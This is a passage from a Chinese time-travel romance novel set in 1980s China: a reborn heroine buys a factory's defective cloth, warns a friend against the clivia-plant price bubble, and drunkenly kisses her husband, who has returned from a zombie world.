柳绵绵连连点头:“煮个粥,再来点解腻的小咸菜就挺好。”她想了想,又说:“下回再吃,咱们再去弄点汽水。”当然,最好是弄点可乐。 许海棠忙提出告辞:“时间不早,我还得回娘家,得早点回去了。” 柳绵绵没问她为什么要回娘家,把人送了出去。回来后就听刘婶在那里叹气说:“多好的闺女啊,嫁到了老孙家。听说孙老二最近出车去了,他们家就可着劲儿地欺负新媳妇儿,一家子的衣服和碗都让她一个人洗。” 柳绵绵奇怪问:“他们家不是还有三个儿子一个儿媳吗,这些人都不干活吗?” 刘婶摇头:“嗐,他们家老大媳妇儿,说是生三娃的时候月子没做好,碰不了水,至于几个爷们,又哪里是会干家务活的人?” 柳绵绵挑眉:“照这么说,许海棠嫁过去之前,他们家难道一年到头都不用洗碗洗衣服?” 刘婶顿时笑了起来:“哦呦,可不是说,她嫁过去之前,孙家还不是一样过日子?所以说他们家是故意欺负新媳妇儿。听说前两天许海棠她妈骆老师过来给女儿送枇杷,就看见女儿大黑天的就着院子里的各家窗户的灯光,蹲在水井边洗一大桶的衣服,给骆老师气得不行,当夜就把许海棠带回娘家去了。” 俞婉摇头:“许海棠自己家里条件不错,嫁给孙老二确实可惜了。” 柳绵绵想了想,说:“孙家是故意的吧,许海棠条件比他们家好,又有一份正经的工作,嫁过去以后老太太生怕拿捏不住这个儿媳妇,其他人也生怕她在家作威作福,故意磋磨磋磨她,做‘服从性测试’吧?”甚至孙老二也未必就不知道,只不过是他需要扮演一个“不知道妻子受委屈,知道以后会维护她,但又会劝她忍耐”的丈夫而已。 “那肯定是故意的嘛。”刘婶疑惑道,“你刚说的什么服从什么测试,是什么东西哦?” 柳绵绵就给她解释了一下,有些人会故意通过打压、提出不合理的要求等方式来测试你的顺从、容忍度,从而达到操控你的目的。 “这些磋磨儿媳的手段,咱们早见惯了的,到了你们文化人的嘴里,倒是变得让人听不懂了。”刘婶感叹说。在她看来,柳绵绵这个高中毕业生自然也是文化人的行列了。 沈伯康插话道:“这个提法还挺有意思的,绵绵看来平时也没有放松学习。” 他忽然问:“绵绵有没有想过继续参加高考?你这么聪敏好学,不读大学可惜了。维舟现在身体好多了,让他抽空帮你补习功课。” 柳绵绵立马拒绝三连:“不用,我不想,真的没必要。” 生怕沈伯康真把这事放在心上,义正辞严说:“学习知识不是只有读大学这一个途径,学历更不是衡量一个人知识水平的唯一标准。都说活到老学到老,咱们总不可能一辈子都在学校里读书吧,可见更重要的还是保持学习的态度。” “古人说,读万卷书,行万里路,我没有做研究、做学问的心思,还是更愿意投身社会实践,从五彩斑斓的社会生活中学习。” 沈伯康沉思几秒,点头认可:“世事洞明皆学问,人情练达即文章,你说的对,是我思想狭隘了。” 柳绵绵心虚地抿了抿嘴,虽然她觉得自己说的也没错,学历并不代表所有,而且上辈子读了那么多年的书,这辈子她的确是不想再读书了,但是这些话,在别人面前她可以侃侃而谈,面对沈伯康,还是会有一丢丢的心虚。 毕竟人家是真的一心扑在研究上,为华国的军工事业竭尽全力。 说回孙家,其实之前许海棠提起瑕疵布料的事时,柳绵绵还觉得奇怪,孙老二是个货车司机,平时出差的时候经常也会顺手倒腾些东西,王叔不还说,他从他们酒厂拿酒运去外地嘛,没道理这么大一个商机他会发现不了。 却原来他出差去了。 不管他是刚好轮到出差,还是故意避出去,任凭老娘给媳妇儿“立规矩”,总之他出这一趟差,倒是刚好便宜柳绵绵了。不然要是孙老二自己想做这门生意,估计就没她的份儿了。 柳绵绵是觉得,别的人未必会要这么多的瑕疵布,会担心这东西不好卖,但是像孙老二这样常年在外面跑的人,肯定是不愁销路的。 夜里洗漱的时候,柳绵绵看到搪瓷盆里的吊带睡衣,一阵头疼。这种天气,衣服这么团着也不行,容易发霉长斑,她拿香皂随便擦了擦,洗了洗,拧干了放回到盆里。 看到靠在床外沿看书的沈维舟,她和他打商量:“今晚你睡里面吧,我睡外面。” 沈维舟:“嗯?” 柳绵绵揉揉肚子,睁眼说瞎话:“我肚子不太舒服,晚上可能要起夜,睡里侧不方便。” 沈维舟挪动被子的动作顿了下,扭头认真看了眼她的脸色,好像还行,和白天没什么区别,他皱起眉:“去卫生所看看?” 柳绵绵连忙摇头:“不至于不至于。” 沈维舟依然皱着眉头:“那吃点药,是腹泻,还是?” 柳绵绵连连摆手:“不不不,不用吃药,只是说晚上可能起夜,可能,可能而已。” 她转移话题问:“听说你以前不吃韭菜也不爱吃南瓜的?怎么现在看你每次都吃得挺香。” 沈维舟一怔,随即云淡风轻道:“以前年纪小挑食,现在不挑食了。”相信不管是谁,在丧尸遍地、苦苦寻找一整天也未必能找到干净水源和食物的异世待过,都不会再有挑食这个毛病。 他抬眼看向柳绵绵,柳绵绵冲他弯唇一笑:“哟,那是长大了,懂事了呀。” 看不出是无心还是故意。 沈维舟垂眸思索片刻,问她:“那你呢,我记得你以前喜欢穿红色和绿色的衣服,怎么最近越穿越素净了?” 柳绵绵噎了一下,很快回答说:“我这不也是长大了懂事了?小孩子才喜欢穿大红大绿的,我现在是成熟的职业女性,当然要穿得素雅一点。” 沈维舟不置可否地点点头。 从前的柳绵绵可说不出“成熟的职业女性”、“服从性测试”这样的话。 柳绵绵才不管他信还是不信,反正这个世界也没有另一个柳绵绵了,只要她不承认,谁也没办法证明她不是。 这么想着,她掀起被子就钻了进去,几秒钟后,一条腿又快速地从被子里钻了出来。 天气越来越热了,哪怕换了薄被子,盖着被子也有点热。 “关灯了?” “嗯。” 啪地,马上就把灯绳给拉了。 两条腿都钻出了被子,呼,舒服了。 农历三十的夜晚,窗外连月光都没有,棉布窗帘在黑暗里影影绰绰,只是一团沉在黑暗里灰黑。柳绵绵以正常人的视力看了看,很好,什么也看不见,于是很干脆地,把大半个身体都露在了外面。 呼,凉快了。 经历异世,拥有不寻常听力、视力的沈维舟,一开始只是感觉隔壁的人不安分地动来动去,后面不经意低头一看,就看到了夜色中一双白晃晃、光溜溜的大腿。 沈维舟心头一跳,忍不住回忆了下,分明记得她今晚穿的不是裙子,他想了想,推测柳绵绵是怕热,把裤腿都给卷上去了。 他自然不会再去看看自己猜测是否正确。 沈维舟试图说服自己,天气渐热,他们每天同床,这种事都是难免的。 只是哪怕闭上了眼,那不经意一瞥中看到的白嫩长腿,却开始在脑海中频频浮现,甚至,还有早晨时她**半露的样子。 他再是正人君子,却也敌不过过目不忘的记忆。 何况,沈维舟暗暗叹了口气,或许他也并不像自己想象的那么正人君子。 心底起了一丝无法捉摸的燥意,这种时候拥有异常灵敏的五感,更是要命。 空气中暗香浮动,是香皂的味道,但又似乎不仅仅是香皂的味道。 沈维舟久久未能入睡,尽管如此,他却安安静静地躺着,呼吸也如睡着了一般绵长。 睡在外侧的柳绵绵则早已困得眼睛都快睁不开了,不过她还是坚强地支撑着,同时竖着耳朵听沈维舟那边的声音,确定他睡着了以后,她打了个哈欠,轻手轻脚地爬了起来。 她没敢开灯,用脚在床前一通扒拉,随便塞进了两只拖鞋里,然后又轻手轻脚地往洗手间走。进了洗手间,她也没敢开灯,从搪瓷脸盆里摸到洗好的睡裙,然后又摸黑走了出来。 她一边走一边把睡裙给抖搂开,屋檐下她已经事先挂了个衣架,只要出去……脚下突然踢到个东西,她踉跄了下,嘴里也不禁惊呼出声。 啪地,电灯突然亮了。 “……” 柳绵绵抓着抖搂开了的睡裙,满脸茫然地扭头看向床的方向,沈维舟不知什么时候已经坐了起来,神情诧异地看着她:“你,这是在做什么?” 以为她不开灯是怕起夜吵到他,看来不是? 柳绵绵大脑有一瞬的短路,对啊,我这是在做什么? 不对,他不是睡了吗? 她低头看了眼手里的睡裙,想了想,强行挽尊:“我睡不着,起来洗衣服。” 想到早晨穿衣镜里看见的,自己衣衫凌乱的样子,耳根不禁微微发烫,表情却益发正气凛然。 沈维舟看向她手中的睡裙,不自在地轻咳了声:“啊。” 顿了下,他说:“那,赶紧晾了睡觉?” 第37章 气运值处于非正常水平 过了一晚上,柳绵绵心里那点不好意思已经消化完了,倒是觉得,好好一件穿着又舒服又凉快的睡裙,洗了藏起来也不是办法,吊带不够牢固,那就再钉上两针嘛,该穿还是得穿。 她做完自己的思想工作,面对沈维舟的时候,也就十分坦然了。 倒是沈维舟,大早上的既没去上班,也没去书房,坐在房间的写字台前认真写着什么。 柳绵绵倒也不是故意想偷看……好吧,好奇还是好奇的,不过也确实是不小心看到的。她发现沈维舟在稿纸上写的竟然是他们结婚以来发生的一些事情,每件事前面都标注了明确的时间地点。 “你写这个做什么?” 沈维舟笔下未停,随口说:“我感觉最近记忆力差了很多,写下来免得时间久了忘记了。” 看着稿纸上精确到小时的标注,柳绵绵沉默了。 别说个把月前发生的事情,就是三天前发生的事情,她也不可能记得这么清楚。 如果他这样都算记忆力差,那她这样的算什么? 柳绵绵不想和他说话,沈维舟抬头看她一眼,问:“你想拿下服装厂所有的瑕疵布料,钱够吗?” “嗯?” 沈维舟:“不够的话,我这里还有一些,你可以先拿去。” 柳绵绵没想到沈维舟会问她钱够不够,怔了两秒,才说:“应该够的,我准备还是和蒋红梅合伙,到时候她应该也会出一部分。” 沈维舟点点头:“那就好,不够的话你告诉我。”说罢就继续低头写他的了。 柳绵绵被他勾起了好奇心:“你居然有存款,能告诉一下有多少吗?我纯粹好奇,你不想说也没关系。” 沈维舟再度停笔,侧身看她:“我有存款有什么奇怪,我在研究所好几年了,工资虽然是按照出勤领的,但我平时没有花钱的地方,这些钱就都攒下来了,加上一些项目的奖励、逢年过节长辈塞的红包,买服装厂那批货绰绰有余。” 沈维舟没说的是,如果加上奶奶留给他的东西,卖再多的货也没问题。 柳绵绵啧啧了两声,看来“万元户”就在她身边啊! 服装厂那批货至少要七千五百元,沈维舟既然说绰绰有余,柳绵绵估摸着他的存款应该是超过万元了。 “钱存在银行利息也不高,下回有什么好的投资项目,拿出来投资吧?”柳绵绵想了想,试探问,“就上回同你说过的《柳娘与书生》,这个本子挺好的,李耀明如果筹集资金开拍,咱们一起投一点?” “你上回说对这个本子感兴趣,是想投资?” 柳绵绵点点头:“是啊,我预感这个片子会火。” 投资拍电影听上去确实有点不太靠谱,柳绵绵冥思苦想,想找个合适的理由说动沈维舟,还没想好呢,就听沈维舟说:“行,你到时候跟我说。” 柳绵绵:“嗯?” 忍不住问:“你不怕赔钱吗?” 沈维舟挑了下眉:“你不是预感这个片子会火吗,怎么,对自己的预感没有信心?” 柳绵绵坚决摇头:“怎么可能,我是根据那个本子还有港片市场进行了合理的判断,你放心,不说多的,挣个两三倍应该可以的。” 沈维舟眼神微闪,笑了下:“那倒是要感谢你介绍这样的生钱之道给我了?” 柳绵绵挥挥手:“小意思,都是同……室……,呃,我是说,有钱大家一起赚。”差点说秃噜嘴,把同床室友这四个字说出来了。柳绵绵赶忙挥挥手:“我先去吃早饭了。” 看着她飞快出了门,沈维舟牵了牵唇,转身回去继续写。 不久后,他搁下笔,看着自己梳理出来的时间线和相应的事件,脑海中浮现的却是系统009略带机械感的声音:“宿主,生命值已蓄满,可随时返回原世界。温馨提示,原世界中宿主命运存在被更改痕迹,气运值处于不正常水平,宿主回归后需严密关注。” 沈维舟抬眼看向窗外,阳光洒满院子,不远处的餐厅里传来柳绵绵和刘婶的说笑声。 一切,已经与上辈子截然不同。 * 柳绵绵本来还想抽时间去一趟军工大院找蒋红梅,结果还没等她抽出时间来,蒋红梅自己上门了。据她的说法,瑕疵品服装已经卖完了,她得到个消息,说服装厂又有一批瑕疵布想要处理,只不过这回人家说什么也不给她了。 “人走茶凉是一方面,还有一方面,别看我每回拿货,都给他们塞了不少好处,不过也正因为这,他们才更不会把东西给我,生怕我真的发达了。” 蒋红梅愤愤道,“我当个体户起早摸黑的挣点小钱,给他们塞点好处,他们是乐意的,我要挣得多了,他们可就不乐意了,这不是显得他们在厂子里面也没多大意思嘛。” 柳绵绵表示理解,前同事嘛,不担心你吃苦,就怕你开路虎。 “听说这批货又好几个人在问,不过厂里想的是,最好一次性处理给一个单位或者个人。”蒋红梅叹了口气,“要是咱们能弄到万把块钱就好了,一次性把这批货拿下,我托人直接找销售科的科长说说,没准能成。” 她皱了皱眉,这话也只能是说说,这年头,有一千块钱存款的人家都不多,更不要说一万块了,就算有一万块,一般人谁敢把这么多钱砸在一匹发霉起斑的布料上? “算了,还是想想别的挣钱门路吧。对了,我听说北边君子兰价格卖得好,有人拿一盆君子兰换了一台电视机,还有人养的君子兰卖出了十几万,你说这玩意儿怎么会这么值钱?咱们要不要……” 柳绵绵赶忙阻止:“别要不要了,坚决不能要!” “你想想,你都觉得一盆草卖这么贵有点离谱吧?其实我相信所有人内心都是这么想的,觉得这玩意儿不值这么多钱。只不过是市场上的价格越炒越高,才有人一直追着买。这就跟击鼓传花一样,需要有人一直接着传下去,但是,真的会永远有人继续接这朵花吗?” 蒋红梅想了想,说:“就看砸谁手里了呗!” 柳绵绵点头,她上辈子在网上刷到过相关的解说视频,对君子兰热这个事情还挺有印象的,所以大致记得,君子兰价格崩盘应该就是在今年的六月份左右。 眼下都五月下旬了,离崩盘已经不远了。 再说他们这边离得远,假如真是现在开始收购君子兰运往北边,估计运到的时候,刚好能赶上价格崩盘,到时候真是哭都没地方哭去。 八十年代是经济风口,有很多的挣钱机会,但柳绵绵从来没想过倒腾君子兰挣钱,因为本质上,这其实跟庞氏骗局也差不多。 蒋红梅揪了揪头发:“怎么办,实在不行,要不我和刘安民去乡下收菜到城里卖?” 她愁得不行,一抬眼却看见柳绵绵正边吃桑椹边笑,蒋红梅突然反应过来,自己进门嘚啵嘚啵地抱怨了一大通,柳绵绵却压根没怎么吭声。 这可不像她的性格,她平时说起挣钱来可是头头是道的,前阵子还成天嘀咕要赶紧多挣点钱,回头找人拍电影,也挣挣娱乐圈的钱。 娱乐圈什么的,蒋红梅听不懂,只当是柳绵绵从西餐厅那个港城经理那儿学来的洋词儿。 拍电影蒋红梅倒是听懂了,不过她觉得柳绵绵是异想天开。 才挣几个钱呐,就想去拍电影,那是她们这种小老百姓该想的事情吗? 蒋红梅现在就只想赶紧挣点钱,或租或买,搬出来自己住,免得她妈处心积虑地想把她嫁出去,好给她弟腾地方外加攒老婆本儿。 “不是,你是不是早想到什么挣钱的门路了?”蒋红梅瞪着柳绵绵,“你故意看我笑话是不是?!” 柳绵绵哈哈大笑,边笑边说:“你从进门就没停过,嘚啵嘚啵地说个不停,我也没机会跟你说什么呀!你看刘婶在旁边几回想插嘴,都插不进去呢。” 刘婶在做针线活儿,一副老花镜都快掉下鼻梁了,闻言从眼镜上方看向蒋红梅:“哦呦,可不是,一进门就是一串一串的连珠炮,我想提醒你那什么布料绵绵找人去弄了,也没找着机会。” 蒋红梅红了脸:“刘婶,我这不是愁嘛……等一下,你说柳绵绵已经找人去弄布料了?!” 刘婶叹了口气,无语地看着她:“哦呦,你可算听进去了呢。” (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)柳绵绵再次哈哈大笑,蒋红梅扑过去要掐她,柳绵绵四处乱躲:“蒋红梅,你就这么对待投资人的嘛,哈哈哈,放开我放开我,哎哟哎哟,好吧,姑奶奶,你放过我吧,我下次不敢了!” 蒋红梅得意道:“小样儿,还治不了你了。” 一抬眼,发现沈维舟不知什么时候从书房出来了,蒋红梅和他的视线对上,条件反射地,立马放开了柳绵绵,甚至一蹦三尺远。 沈维舟冲她点点头,转身进了餐厅。 “妈呀,你男人这气势,我都怕我再掐你一下,他就要直接让我滚出去了。”蒋红梅悄声说。 “哪有这么夸张,他脾气挺好的。”虽然成天没张笑脸。并且还愿意借钱给她用。 蒋红梅不信:“呵呵。” “赶紧给我说说布料的事情,你找了谁,准备拿多少,我琢磨着咱们凑一凑,拿一半应该是可以的,最好是再找个人拿下另一半……” 柳绵绵摆摆手:“不用这么麻烦,全部拿下!”她做了个捏拳头的动作。 “全部?”蒋红梅声调都高了八度,“我顶多顶多能凑个一千多,剩下的你都可以?!” 她看了眼刘婶,再次压低声音:“你不会是跟你男人,不对,你男人肯定也没钱,跟你公婆要钱了吧?” 柳绵绵再次摆摆手:“我有钱,准确的说,我手上有钱。”这些钱倒也不能算是她的。 而且,“谁说沈维舟没钱了,他也有钱的,他之前还说如果不够可以先借我一点呢。” 蒋红梅:“……” 很想和这些有钱人拼了。 听柳绵绵说了前因后果,蒋红梅顿时就坐不住了:“许海棠我知道,她爹是个能人,她不行,她性子太软了。” 想来想去,蒋红梅觉得不放心,决定自己去找许海棠接洽,风风火火地起身出门了,不一会儿,又风风火火地卷了回来:“对了,柳锦诗回去厂里扫地了,听我们家老头子说,厂里原本是要开除她的,她妈天天去找领导,领导被缠得头疼,就给调了个扫地的岗位。” 柳绵绵想了想,说:“只要她别来招惹我,我也不会再管他们家的事。” 蒋红梅:“行。” 蒋红梅的执行力相当惊人,两天后她和许海棠一起出现在9号院时,事情已经办妥,就等着拿钱过去了。 既然是许海棠带来的消息,她又跑前跑后地接洽,柳绵绵原本想让她也出点钱占个股,或者直接给她一定金额的“介绍费”,许海棠却拒绝了,表示自己作为服装厂的内部人员,这么干不太合适。柳绵绵仔细一想,瓜田李下确实容易落人口实,只好先把这笔人情记着,回头有机会再还。 三个人一起去银行取了钱,又去服装厂交了钱。 销售科科长诸玉山看到蒋红梅,无奈笑道:“小蒋同志,你说你,辞职干个体,也不能只逮着咱们服装厂这只羊薅吧?你爸不是军工厂的嘛,你也找军工厂薅薅羊毛呀!” 蒋红梅:“诸科长,你可太看得起我了,你看我是能拿得出这么多钱的人吗?” 她指指柳绵绵:“我就是个帮忙跑腿的,这位才是大老板。” 诸玉山看向三人中年纪最小的女同志,惊讶道:“这位女同志是?” 柳绵绵笑笑,简单自我介绍了下,直接问:“那我可以交钱了吗?” 诸玉山看出来她不想多说,倒也觉得正常,这年头能随随便便就拿出万把块钱的人家并不多,不想张扬也是人之常情。 他笑着点头:“当然。” 前前后后联系他想要这批货的人其实不少,只是大多只拿得出一部分的钱,他原本还想着,实在不行就分批次处理给这些人算了,毕竟真拿得出来这么多钱的人,拿这些钱干点什么不好,哪里犯得着跑来买不一定卖的出去的发霉布料? 他和管仓库的老孙关系不错,也巴不得赶紧帮着把这笔账给平了。 签合同交钱之前,柳绵绵抓住机会和诸玉山又砍了砍价,从许海棠他们谈下来的七千五砍到了七千三百八十元。 交完钱后,诸玉山提醒她们:“照理银货两讫,东西今天就要搬走的,大家都挺熟的,我和仓库的老孙关系不错,可以帮你们多争取两天,三天内,一定要把东西搬走。” 柳绵绵笑眯眯道:“诸科长尽管放心,我关注过天气预报,过两天估计要下雨,我明天就找人来运走。” 这么多布料,换了别人可能会发愁放哪里,她却没有这个烦恼,毕竟9号院还有一进院子空着呢,她早和便宜公公婆婆打过招呼。一进院子放布料,绰绰有余。 诸玉山益发觉得这姑娘不简单,言辞之间更加客气了,亲自把人送出厂子,还笑着说今后可以常联系。 等柳绵绵她们走远了,诸玉山正准备转身,有人喊住了他:“诸叔叔!” 他扭头,看清来人后笑道:“映雪你怎么来了?” 江映雪快步上前,礼貌打了招呼后,这才说明来意。 诸玉山为难道:“映雪,之前你说想买,我还以为你是开玩笑。而且,厂里的意思,还是想一次性把东西都给处理掉。这不,采购科有个同事介绍了人过来,人家一次性付清了款项,全部都买走了。” 江映雪从服装厂回到军区大院,走着走着,不知不觉走到了沈家小红楼前。 方美云在院子里修剪花枝,看见她,招招手:“映雪,进来。” 江映雪进了院子。 方美云打量她两眼,柔声问:“怎么,在外头受欺负了?有什么事情就告诉方奶奶,方奶奶给你出气去。” 江映雪眼睛一眨,一串眼泪落了下来,她哽咽着小声说:“方奶奶,为什么我什么都做不好,我只是,我只是想过得更好一点啊!” 方美云握着她的手,轻轻拍了拍,安慰她:“别气馁,一次两次的失败不要紧的,只要你努力去做,总有一天会成功的。你要记得,你和维鸿,都是受命运眷顾的人,不管道路如何曲折,你们一定会幸福的。” 沉浸在自己情绪中的江映雪并没有听清方美云说什么,她只是觉得,从来到南城,从进入军区大院,方奶奶是唯一永远对她和善、亲近的人。 而假如柳绵绵在这里,她就会发现,眼前这个方美云,眼神中满是谋算和坚定,和她见过的那个柔弱、有点小心机、但又情绪化的方美云,简直完全不同。 第38章 这位小哥哥怎么这么好看 柳绵绵拿着合同美滋滋地回到9号院,一进门,就见院子里站了个精瘦精瘦的小伙子,脸晒得黢黑,正利索地晾着刚洗好的床单。柳绵绵愣了下,差点想退出去看看自己是不是走错门了,就见小伙子冲着她咧嘴一笑,露出雪白的两排牙齿,喊了声:“嫂子好!” “……” 这中气十足的。 刘婶握着铲子从厨房出来:“绵绵,这是我家那个小的,叫王志远。上回我和你王叔给他去了电话,让他看情况就早点转业算了,哦哟,结果怎么着,他不声不响地把手续给办了,直接坐火车就回来了。事先也不知道打个电话回来说一声。这么大个人了,哦哟,真是,做事还是毛毛躁躁的。” 王志远笑嘻嘻地挠挠脑袋,说:“反正要回来的,浪费电话费做什么。” 刘婶给了柳绵绵一个“你看,就是这样”的眼神,摇头回了厨房。 柳绵绵记得刘婶说过,她家老大是个做事沉稳的,年纪轻轻已经是副营长了,老二性子毛躁,当兵还没几年。 她好奇问:“转业部队有什么安排吗,工作什么的?” 王志远麻利地晾着衣服,回答:“补了点钱,工作没有安排,让回乡自谋出路。” 这也正常。 从运动结束,上山下乡的知青陆续回城,这些年城市就业压力本就不小。加上改开以后,国营工厂普遍日子没有之前的好过,生产扩大不了,岗位自然也不可能增加,这就导致整体的就业形势更加困难。尤其是文化不高、没有专业特长的人,找工作更是难上加难。 当然,其实几十年后也差不多。 不过如果不考虑进机关或者企事业单位的话,现在的形势还是要比十年前要好许多的,至少,只要勤快肯干,卖小吃、做个体户也能挣到钱,甚至很多还比正经上班的人挣得多得多。 就是华国人的传统思想,总觉得国营单位工作稳定、名头也好听。 王志远明显是个知足常乐的人,说到自谋出路,他还乐呵呵地:“我战友转业回乡包了一块山地养鸡,听说养得还不错,我想着回头也找个地方包块地养猪。猪肉大家都要吃的嘛,肯定不愁卖。” 刘婶大概是听见了,再度握着铲子跑了出来,气呼呼地瞪了王志远一眼,挥挥手,说:“绵绵你别听他瞎咧咧,从小在大杂院里长大的人,你是见过地还是见过山,还养猪,猪养你还差不多!” 说完就又回厨房了。 柳绵绵失笑,刘婶平时脾气多好的一个人,一见着小儿子,感觉整个人都暴躁了。 王志远倒是一点不生气,嘟囔道:“我怎么没见过地,我在部队就种过地,我还养过猪呢。” 不过没敢大声说,大概是怕刘婶握着铲子再跑出来。 柳绵绵乐得不行,想了想,说:“我这里倒是需要个短期帮忙的,你感兴趣吗?”她把自己弄了批瑕疵布料的事情说了说,表示需要人帮着一起搬搬东西、卖卖货。 王志远挠挠头:“搬东西肯定没问题,卖东西我没试过,不知道行不行。” “试试呗。” 柳绵绵觉得他应该能行。 这家伙明显是个E人,心大,不怕生,跟谁都能聊上几句,加上他这形象,一笑一口大白牙,朴实得不行,瞧着就是不会骗人的,这种绝对是农村大姐大妈们最信任的卖家。 “行,那我试试。” 王志远答应下来,也没问柳绵绵给他开多少工资,是真的心大得不行。 刘婶听说柳绵绵准备雇王志远帮忙,也觉得可行。孩子出门当兵好几年,她内心也巴不得他先在眼皮子底下待一阵子。当然,最好是趁机给他寻摸个工作,再寻摸个媳妇儿,她这心里才算能真的踏实。 中午柳绵绵下班后就和刘婶母子俩一起打扫后面的院子,打扫完了又在屋里铺上之前买回来的塑料布,用来防潮。 第二天一大早刘安民就开着拖拉机去拉布料了。也就是这时候城市管理没那么严格,他开着嘟嘟冒烟的拖拉机在城市道路里也是畅通无阻,要换了后世,芷江路这一片,他开着拖拉机能进得来才怪了。 王叔知道他们今天要运布料,特地跟厂里请了假。后面看刘安民开着拖拉机,一趟只能运个三五十匹的布料,不是办法,又去厂里借了货车回来,这才分几趟把布料都给运了回来。 有了王叔、王志远和刘安民这三个壮劳力,加上柳绵绵和刘婶,几个人陆陆续续干了一整天,一直到沈维舟他们下班回来时候,才算把所有的布料都归整完毕。 沈伯康跑去外面国营饭店打包了几个肉菜,家里煮了饭,又炒了几个素菜,刘安民也被留下来一起吃饭。 沈伯康拿了一瓶茅台出来,亲自给大家倒酒,除了沈维舟因身体原因,没被允许喝酒外,在座的不管男女都喝上了。 柳绵绵跟餐厅请了半天假,倒是也不怕喝酒误事。上辈子她酒量就不错,经常和朋友上酒吧小酌,白酒喝得不多,但也喝过几次。 她给王叔刘婶、王志远和刘安民敬酒:“辛苦大家了,等货卖掉,我给大家发红包!” 刘婶:“哦哟,我也有吗?” 柳绵绵一挥手:“当然,大家都有!” 又给沈伯康和俞婉敬酒:“爸爸妈妈也有!” 俞婉笑道:“那我可就等着了。” 柳绵绵几乎没怎么喊过他们爸妈,今天是喝了酒,有点上头,一下子就喊出来了,喊完后她闷头就把杯里的酒给干了。 沈伯康试图阻止:“少喝一点,等一下喝醉了。” 俞婉揩了揩眼角,笑道:“没事,孩子高兴嘛,喝醉了让维舟照顾她。” 沈维舟:“……” 捏着茶杯等了半天,等到柳绵绵又敬了一圈酒,也没等到她敬酒。 这场景似曾相识。 沈维舟凭着自己过目不忘的记忆力,想起上回她捏着一叠钱“见者有份”的时候,也是单单把自己给略过了。 看了眼某个小没良心的,沈维舟往自己杯子里加了茶水,慢吞吞地喝了一口。 茅台入口绵柔顺滑,柳绵绵仗着自己酒量不错,一连喝了几杯,一开始还没什么感觉,后劲儿上来,忽然就有点头晕目眩。她眨了眨眼睛,举着杯子说:“来来来,感情深,一口闷,感情浅,舔一舔,感情厚,喝不够,只要感情有,白水当美酒。” “来来来,你不喝,我不喝,华国好酒往哪搁,你不醉,我不醉,马路牙子谁来睡!” “你,快,把杯子拿起来!路见不平一声吼,你不喝酒谁喝酒!” …… 上辈子喝酒,柳绵绵觉得那些稀奇古怪的劝酒词还挺有意思的,跟那些肉朋酒友们一起时,还故意学过一些,小词儿念起来一套一套的,指着王志远,对方不喝她还不罢休。 俞婉失笑:“还真的喝醉了。” 沈伯康无奈看她一眼:“我就说别让她喝多。” 王志远目瞪口呆:“嫂子这词儿一套一套的,我在部队都没听过!”部队喝酒还是划拳行酒令的多,像这种文绉绉的还押韵的劝酒词,王志远表示真心从来没见识过。 还挺好听的。 当柳绵绵手指向刘安民的时候,原本还在看热闹的刘安民一下弹了起来:“不不不,我还得把拖拉机开回去还我舅呢,我不能再喝了!” 趁着柳绵绵没发应过来,这家伙麻溜儿地告辞,跑了。 柳绵绵指着院门:“他怎么跑了,让他回来,酒喝完了才能走!” 桌上剩下几人面面相觑,忍不住都笑了起来。 刘婶:“哦哟,绵绵喝醉了还挺有趣的。” 柳绵绵马上扭头一瞪眼:“谁喝醉了,你喝醉了?那你少喝点,我没醉,我再喝两杯。” 俞婉半捂着脸,冲沈维舟眨眨眼:“赶紧的,送你媳妇儿回房,洗漱一下,多喝点水,早点休息。” 沈维舟往柳绵绵杯里倒了茶水,塞进她手里:“再喝两杯就回去。” 柳绵绵非常豪爽地举起杯子:“行,感情深一口闷,干了!” 果然一口干了。 砸吧了下嘴,嘟囔:“这酒味道怎么不太一样?” 旁边几人都失笑,王叔悄声道:“醉是醉了,这条理倒是还挺清晰的,还尝得出这酒味道不一样。” 沈维舟又给她倒了一杯茶,柳绵绵还是一口闷了,举着空茶杯递到沈维舟面前:“再来一杯!” 沈维舟看着她,问:“喝这么多,不觉得饱吗?” 柳绵绵摸摸小肚子,点点头:“是有点饱。” “那咱们回房吧。” 沈维舟放下杯子,拽着她离开餐厅。柳绵绵被他拽得跌跌撞撞的,不满道:“你这人怎么这么没有绅士风度,对女士这么粗鲁?我跟你说,像你这样的,就算脸长得再好看,也没人要的。世界上好看的男人千千万,这个不行就换下一个……” 餐厅里仍然坐着的几人再度面面相觑。 王志远嘀咕了声:“嫂子思想还挺开放的哈。” 沈伯康清了清嗓子,正色道:“她是喝醉了乱说的。”心里倒是有些庆幸女儿没在家,不然听见这些“靡靡之音”,还真是怕把孩子给带坏了。 喝醉了的人力气特别大,沈维舟一开始还只是拽着柳绵绵的手腕,等走到院子里,柳绵绵就开始东倒西歪的,一会儿要去扯石榴树的枝叶,一会儿又要去抓晾衣服的竹竿,沈维舟只好把她的另一只手也给拽住,自然,再次引来她一番声讨。 等到了东厢房的门口,柳绵绵又不愿意走了。 睁着一双清澈明亮的眼睛,认真看着他,表情也分外的认真:“喝酒不开车,开车不喝酒。” 沈维舟:“……” 没听懂,这院子里哪有车? 沈维舟试图劝说她:“时间不早了,回房洗漱一下,早点休息,你明天不是还要去赶大集吗?” 柳绵绵盯着他看了一会儿,说:“萍水相逢,一起喝个酒没问题,其他的就算了哦,开房哒咩哦,我不跟人搞一夜情的。” 总算听懂她在说什么的沈维舟,太阳穴突突直跳,沉默半晌,说:“里面是洗漱间,刚吃了晚饭,进去洗漱一下。” 好歹哄着人进了门,沈维舟转身阖上房门,脑子里嗡嗡的,一直重复着“世界上好看的男人千千万,这个不行就换下一个”、“萍水相逢一起喝个酒没问题”、“我不跟人搞一夜情的”。 他深深地吸了口气,转身正想开灯,忽然被一具温热柔软的身体撞进怀里,一只手轻轻贴上他的脸颊,混合着酒气和馥郁香气的味道充盈在鼻息之间,而同时,有温热的气息喷吐在他颈侧。 “这位小哥哥怎么长得这么好看呢?” 软软的声音也近在耳畔,沈维舟心头一紧,下意识想把人推开,哪知道对方却突然缠了上来,柔软的手勾在他脖颈上,拉着他微微低头。 幽暗的房间里,沈维舟看到她眼底莹润生光,又好像蕴着一层蒙蒙的薄雾,他仿佛也被雾笼住了,一下子失去了所有的行动能力。 他看着她渐渐靠近,那股混合着酒气与馥郁香气的味道,仿佛更加浓郁了,他甚至听见自己的心脏前所未有地剧烈地跳动起来。 也可能是她的心跳声。 沈维舟这么想着,几乎同时,唇便被印上一抹柔软。 